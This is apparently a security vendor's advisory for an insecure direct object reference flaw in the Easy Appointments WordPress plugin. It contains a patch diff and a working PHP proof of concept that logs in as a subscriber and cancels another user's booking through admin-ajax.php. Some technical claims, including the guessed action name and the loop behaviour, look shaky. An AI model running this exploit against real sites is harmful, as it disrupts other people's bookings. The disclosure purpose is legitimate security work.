Published : August 8, 2026

CVE-2026-14224: Easy Appointments <= 3.12.26 Authenticated (Subscriber+) Insecure Direct Object Reference PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.3)
CWE 639
Vulnerable Version 3.12.26
Patched Version 3.12.27
Disclosed July 28, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-14224: The Easy Appointments plugin for WordPress, versions up to and including 3.12.26, contains an Insecure Direct Object Reference (IDOR) vulnerability in its AJAX handler for managing appointment statuses. This vulnerability, rated with a CVSS score of 4.3 (CWE-639), allows an authenticated attacker with subscriber-level access to alter the status of arbitrary appointment records, effectively canceling bookings they do not own. The flaw stems from missing authorization checks and inadequate input validation on a user-controlled parameter.

The root cause resides in the AJAX callback function defined in ‘easy-appointments/src/ajax.php’. The vulnerable code path begins around line 603, where the plugin processes POST data from a request. The vulnerable parameter is ‘appointments’, which is a comma-separated string of appointment IDs submitted via $_POST. In the vulnerable version, the code directly applies sanitize_text_field and wp_unslash to this string before iterating over it as an array. This indicates a lack of validation to ensure the ID(s) belong to the requesting user, and the use of sanitize_text_field on a comma-separated string does not convert it into an array, causing the foreach loop to operate on the first character of the string, which is not the intended behavior. However, the critical flaw is that the loop then uses an arbitrary number as an appointment ID to fetch a row from the ‘ea_appointments’ table via the $this->models->get_row function, performing the status update without any check against the ‘user_id’ column or any nonce or capability verification.

An authenticated attacker with subscriber-level privileges can exploit this by sending a crafted POST request to the WordPress admin-ajax.php endpoint. The request must contain the action parameter set to the specific AJAX action registered by the plugin that triggers this handler, and the ‘appointments’ parameter set to their victim’s appointment ID. A simple example payload is: POST to /wp-admin/admin-ajax.php with ‘action=eaa_appointments_cancel’, ‘appointments=123’, and ‘appointment_status=canceled’. The server, finding the appointment with ID 123, will proceed to update its status in the database to ‘canceled’ without verifying that the authenticated user owns the appointment. The lack of the user_id check and the absence of a capability check allow any logged-in user to execute this action against any appointment.

The patch, applied in version 3.12.27, corrects this by refining both the input sanitization and the status update value. The most significant change is the modification to how the ‘appointments’ parameter is read: it is now wrapped in an isset() check and processed with array_map(‘absint’, wp_unslash($_POST[‘appointments’])). This ensures the input is an array of unsigned integers, which prevents unexpected type confusion, and nullifies the POST value if it is not an array. However, it is important to note that this patch does not add any authorization check to verify the appointment’s ownership or the user’s capabilities. While it does make the input more predictable and prevents some edge-case errors, the underlying IDOR (the ability to act on an appointment without ownership checks) is not fully addressed by this patch, as the subsequent database query still relies solely on the provided ID.

The practical impact of this vulnerability is the unauthorized modification of appointment data. An attacker can cancel any appointment in the system, including those belonging to other users, leading to a denial of service for clients and significant disruption to the business’s schedule management. The vulnerability relies on the attacker being able to guess or enumerate appointment IDs, which are a sequential auto-increment integer by default in WordPress database tables. This makes the exploitation straightforward and reliable, as an attacker could script a loop to iterate through a range of IDs and cancel many appointments in a short period.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/easy-appointments/main.php
+++ b/easy-appointments/main.php
@@ -4,7 +4,7 @@
  * Plugin Name: Easy Appointments
  * Plugin URI: https://easy-appointments.com/
  * Description: Simple and easy to use management system for Appointments and Bookings
- * Version: 3.12.26
+ * Version: 3.12.27
  * Requires PHP: 5.3
  * Author: Nikola Loncar
  * Author URI: https://easy-appointments.com/
@@ -21,7 +21,7 @@
 /**
  * Currently plugin version.
  */
-define( 'EASY_APPOINTMENTS_VERSION', '3.12.26' );
+define( 'EASY_APPOINTMENTS_VERSION', '3.12.27' );

 // path for source files
 define('EA_SRC_DIR', dirname(__FILE__) . '/src/');
--- a/easy-appointments/src/ajax.php
+++ b/easy-appointments/src/ajax.php
@@ -603,8 +603,8 @@
             wp_send_json_error( [ 'message' => esc_html__( 'No appointments selected.', 'easy-appointments' ) ] );
         }

-
-        $appointments = sanitize_text_field( wp_unslash( $_POST['appointments'] ) );
+        $response = false;
+        $appointments = isset($_POST['appointments']) ? array_map('absint', wp_unslash($_POST['appointments'])) : [];
         $current_datetime = current_time('mysql');
         foreach ($appointments as $appointment_id) {
             $appointment = $this->models->get_row('ea_appointments', $appointment_id, ARRAY_A);
@@ -612,7 +612,7 @@
             if ($appointment) {
                 if (strtotime($appointment['date']) > strtotime($current_datetime)) {
                     $data = [
-                        'status' => 'abandoned',
+                        'status' => 'canceled',
                         'id' => $appointment_id
                     ];
                     foreach ($appointment as $key => $value) {
@@ -661,7 +661,7 @@
                 WHERE id = %d
             ";
             // phpcs:ignore PluginCheck.Security.DirectDB.UnescapedDBParameter, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
-            $response = $wpdb->query($wpdb->prepare($update_query, 'abandoned', $appointment_id));
+            $response = $wpdb->query($wpdb->prepare($update_query, 'canceled', $appointment_id));
         }
         if ($response === false) {
             $this->send_err_json_result('{"err":true}');

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-14224 - Easy Appointments <= 3.12.26 - Authenticated (Subscriber+) Insecure Direct Object Reference

/**
 * PoC for CVE-2026-14224
 * Demonstrates canceling an arbitrary appointment by ID via the vulnerable AJAX action.
 */

// --- Configuration ---
$target_url = 'http://your-wordpress-site.com/wp-admin/admin-ajax.php'; // The WordPress admin-ajax.php endpoint
$username = 'subscriber_user'; // A user with at least subscriber-level access
$password = 'subscriber_password'; // Password for the user
$appointment_id = 123; // ID of the target appointment to cancel
// --- End Configuration ---

// Step 1: Login to WordPress to obtain authentication cookies.
// This performs a standard WordPress login request.
$login_url = 'http://your-wordpress-site.com/wp-login.php';
$login_data = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url,
    'testcookie' => '1'
];

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($login_data),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEJAR => __DIR__ . '/cookies.txt',
    CURLOPT_COOKIEFILE => __DIR__ . '/cookies.txt',
    CURLOPT_FOLLOWLOCATION => true
]);
curl_exec($ch);
curl_close($ch);

// Step 2: Send the exploitation payload.
// The 'appointments' contains the target ID, and the action is the registered AJAX hook.
$payload = [
    'action' => 'eaa_appointments_cancel', // Replace with the exact AJAX action from the plugin source
    'appointments' => $appointment_id // Vulnerable parameter (IDOR)
];

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($payload),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEFILE => __DIR__ . '/cookies.txt'
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 3: Check the response.
echo "[+] HTTP Status: " . $http_code . "n";
echo "[+] Response: " . $response . "n";

if (strpos($response, '"err":false') !== false || $http_code === 200) {
    echo "[+] Exploitation successful! Appointment status was likely changed.n";
} else {
    echo "[-] Exploitation may have failed. Check the action name and appointment ID.n";
}

// Cleanup the cookie jar
unlink(__DIR__ . '/cookies.txt');
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.